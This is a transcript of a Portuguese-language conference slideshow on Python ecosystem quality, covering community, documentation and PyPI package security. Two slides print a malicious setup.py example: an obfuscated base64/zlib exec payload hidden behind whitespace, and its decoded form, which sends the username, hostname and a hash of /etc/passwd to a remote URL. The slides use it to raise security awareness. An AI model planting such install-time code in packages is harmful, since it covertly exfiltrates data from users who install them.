Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

1,220 views

Published on

O ecossistema do Python é sustentado por alguns pilares que são


- comunidade,
- material teórico,
- ferramentas,
- bibliotecas,
- PSF
- e a própria linguagem.


Nesta palestra eu gostaria de fazer uma reflexão a respeito de cada um desses pilares do ecossistema
quais são as prioridades e em termos de qualidade quais são as vulnerabilidades de cada um deles.


Mencionarei a importãncia de todos mas focarei na qualidade do ecossistema de bibliotecas, ferramentas e material teórico.

A reflexão será em torno de responder algumas questões:


- Como manter a qualidade das bibliotecas publicadas no PyPI?
- Quais as maiores vulnerabilidades e como podemos ajudar a evitar os riscos?
- A importância de material teórico de qualidade (gerado pela comunidade)
- Podemos confiar em tudo que está disponivel no PyPI?
- As abordagens de ensino e documentação do ecossitema são seguras, inclusivas e de fácil assimilação?
- O que podemos fazer para ajudar a resolver os problemas identificados?


Apresentarei alguns casos reais e exemplos de problemas encontrados e questões de segurança envolvendo principalmente o PyPI

Published in: Technology
  • Be the first to comment

A Qualidade do Ecossistema Python - e o que podemos fazer para mante-la

  1. 1. A Qualidade do Ecossistema Python Bruno Rocha - @rochaCbruno - brunorocha.org
  2. 2. Bruno Rocha - @rochaCbruno Quality Engineer @ RedHat.com Podcaster @ Castalio.info Teacher @ CursoDePython.com.br Blogger @ BrunoRocha.org
  3. 3. castalio.info youtube.com/castaliopodcast Toda Segunda às 11h disponível em Podcast no site, itunes, rss, players etc Toda Quarta às 20h ao vivo no YouTube
  4. 4. “a todas as relações dos organismos entre si, e com seu meio ambiente chamamos ecossistema ou seja, podemos definir ecossistema como sendo um conjunto de comunidades interagindo entre si..” -- Wikipedia
  5. 5. - Você (e seus grupos) - Comunidades (eventos) - Material teórico (livros, tutoriais, cursos) - Ferramentas(sistemas, IDEs, plataformas) - Biblioteca de pacotes (pip, github, conda) - Python Software Foundation - A Linguagem (core developers) Ecossistema Python?
  6. 6. O que atrai tanta atenção para o Python?
  7. 7. - Python é fácil de aprender. - A comunidade é receptiva - Tem eventos muito legais - É fácil escrever e publicar novas bibliotecas com Python. - Pensou… já tem no PyPI. - É popular e está na moda. - Aprovado por Grandes empresas. $ pip install magic >>> magic.run()
  8. 8. Ou nas palavras do poeta...
  9. 9. Como garantir software de qualidade? Enterprise ?
  10. 10. Como garantir profissionais de qualidade? ?Certificação Profissional Python Seja um expert por apenas $ 9.999,99 / year
  11. 11. Como garantir ecossistema de bibliotecas de qualidade? ?Seja um “Python Developer Partner” e publique suas bibliotecas na “PyPI store” por apenas $ 9.999,99 / year PY
  12. 12. New Python 3.6 Featuring exclusive `f’string` Only $ 999/year You need Python 3.6 Call 555 - 5555 And buy it now! Oportunity: First 100 customers Will get IDLE for free...By Guido Inc.
  13. 13. ● Python não tem dono, pertence a comunidade. ● A comunidade é o controle de qualidade. ● A comunidade é a entidade certificadora*. * Na comunidade Python TODOS são encorajados a participar e fazer a diferença, colaborar com os diversos pilares da comunidade (slide 4) tem um grande valor para a carreira do profissional Python.
  14. 14. VOCÊ
  15. 15. “I came for the language but I stay for the community” - Brett Cannon
  16. 16. “Diversidade acontece quando pessoas diferentes se reunem em um mesmo local” “Inclusão acontece quando essas pessoas conseguem atuar em conjunto, como iguais, com as mesmas oportunidades e sem prejuizo para nenhuma delas” - Adaptação da palestra de Naomi Ceder (Python Brasil 12)
  17. 17. Como tratar ameaças a comunidade e diversidade? - Código de conduta - Postura de mentor e não de juiz
  18. 18. Open by default - PSF (grants, membership, fellowship and board) - Repositories - Experiments (MyPy, Gilectomy) - APyB - Call 4 Papers - PyPI/Warehouse - Python Planet - PEPs - GruPys Você pode participar abertamente!!!
  19. 19. 100_000 Bibliotecas Disponíveis No PyPI
  20. 20. $ pip install magic >>> magic.run() - Python é fácil de aprender. - E tem muita biblioteca pronta!
  21. 21. >>> Traceback Cannot do the magic today... - Quantos dos 100_000 pacotes disponíveis tem cobertura de testes? - Quantos tem boa documentação? - Como faço para escolher?
  22. 22. $ pip install magic $ installing… $ HAHA you got hacked!!! - E essas bibliotecas são seguras? - Se qualquer pessoa pode publicar uma nova lib no PyPI quem garante a segurança e a qualidade?
  23. 23. Segurança!!!
  24. 24. # setup.py `pip install magic` from setuptools import setup setup( name="magic", ... ) Sempre faça review do código fonte da lib a ser instalada. Especialmente o `setup.py` E não se esqueça da barra de rolagem.
  25. 25. ;import zlib; exec(zlib.decompress('eJx9UcFqxCAQvfsVXhYVtoY Wegn0uF+x7MHG2ShNHNEJ3aX036vJBrJQ4uX5HOfNe+rH iIk4ZuaXn3ZSGwX8+s7eVOpPdphoHQ1dMI2OU7i3jZU3 BjMA/iqDugQbsfZCKwa2DSPw0g8fATebw3CDOh3wRn/M Bho+YwU6mtc/R8Warz62VP8tH1r+K1RijFRxI92neJEYI UDVDXRJPztxVKJzBWKqUd3KzvIdN+nilV2O9MaMuVoeU JdAEKHFuSPmGOIdsl+5KIaLrRCYbNWoTP+qu3jLr9RtRb Pjii2TRPv5DC8BFNdnFcsJvyYTo+5wbMSRVyO77mtq9g fllKgCn'.decode('base64'))) Multiple of 4 white spaces Python tricks!
  26. 26. # `pip install magic` import os, urllib, urllib2, hashlib, platform try: uname = os.getlogin() except Exception as e: uname = '[%s]' % e try: host = platform.uname()[1] except Exception as e: host = '[%s]' % e try: fhash = hashlib.md5(open('/etc/passwd').read()).hexdigest() except Exception as e: fhash = '[%s]' % e data = urllib.urlencode({'uname': uname, 'host': host, 'fhash': fhash}) try: urllib2.urlopen('http://WannaPyCry.herokuapp.com/', data) except Exception as e: pass Decoded trick Nothing serious here But could be a real hack
  27. 27. Solução?
  28. 28. $ pip install safety $ safety check
  29. 29. Open Source Community driven safety checks? Please create more Safety tools!!!!
  30. 30. Por que o Python não resolve este problema sem depender de serviços de terceiros?
  31. 31. https://github.com/pypa New generation of PyPI is `warehouse` and you can help On Github.com/pypa Only 18 contributors?
  32. 32. Not a coder? donate!!!
  33. 33. Warehouse is a next generation Python Package Repository designed to replace the legacy code base that currently powers PyPI
  34. 34. Rank: 4.5 - safe Rank: 2.0 - outdated Rank: 1.0 - danger 1.234 Reviews ++ 1 Review --Why not making it more `social driven` to address the library quality problem? Example: More maintainers More quality points!
  35. 35. Segurança das libs: o que podemos fazer ? - Verificar antes de instalar - Instalar bibliotecas conhecidas e confiáveis - Usar SafetyCI - pyup.io - Criar ferramentas para ajudar na verificação - Denunciar caso encontrar lib suspeita - Colaborar com o projeto Pypa/Warehouse
  36. 36. A responsabilidade é SUA NOSSA!!!
  37. 37. Toda biblioteca publicada no PyPI acompanha uma etiqueta invisivel que diz: “Eu estou ciente das responsabilidades que devo assumir ao publicar este código e prometo fazer o possível para mante-lo com qualidade até o fim dos tempos!” E deixarei explicito caso por qualquer motivo eu não possa mais manter deixando o caminho livre para quem desejar criar um fork!
  38. 38. Seus projetos publicados no PyPI devem ser Maintanable: Project that can be maintable by as many and diverse people. Sustentável: Projeto que possa ser mantido por várias e diferentes pessoas * diferente no sentido de diversidade
  39. 39. Leftpad is ` npm` problem, will not happen with Python?
  40. 40. pip install requests ● 99,9% das instalações de ambientes Python instalam requests ● Se a versão não estiver especifica seu build pode quebrar ● Ferramentas como Travis-Ci dependem de requests e já quebraram por isso! ● Sistemas operacionais trazem requests por padrão ● Até poucos meses atrás este era um ‘one man band’ project, mas depois de recentes problemas com releases o criador decidiu excluir os próprios poderes de administrador da lib e elegeu outros mantenedores ● Não é o único, existem outras libs Python publicadas com o mesmo risco ● Sempre especifique suas versões ● Use o pyup.io ou requires.io ou qualquer outra solução do tipo ● Use o safety/CI ou algo do tipo
  41. 41. …..
  42. 42. Segurança e sustentabilidade não são os únicos problemas!
  43. 43. http://opensourcesurvey.org/2017/
  44. 44. Assim como recentemente melhoramos nossa cultura de testes. Precisamos agora melhorar nossa cultura de documentação!
  45. 45. Q: Por que a maioria das bibliotecas não tem boa documentação? A: Escrever documentação é um processo chato! Q: O que precisa melhorar? A: Ferramentas e formatos (rst) não amigaveis afastam as pessoas da documentação. Precisamos fazer como fizemos com os testes e adotar formatos (md?) e ferramentas mais fáceis. Q: Como incentivar as pessoas a contribuir com documentação? A: Primeiro precisamos definir o processo (assim como nos testes) e então criar um manifesto atraindo os contribuidores, mostrando a importância, oferecendo um certo “status” ao documentador e usar os eventos para fomentar essa cultura.
  46. 46. Dicas para criar boas libs python.apichecklist.com
  47. 47. Conclusão - Python não é um produto! - O ecossistema (principalmente a comunidade) já tem qualidade acima da média - Precisamos de mais materiais teóricos de qualidade para iniciantes - Podemos utilizar ferramentas para ajudar no QA de bibliotecas Python - Podemos colaborar com a evolução do PyPI - Podemos colaborar com a evolução do Python - A qualidade do ecossistema é NOSSA responsabilidade - Seja responsável e publique apenas bibliotecas de qualidade no PyPI - Precisamos de uma solução colaborativa para classificar 100 mil libs - Ajude e seja ajudado

×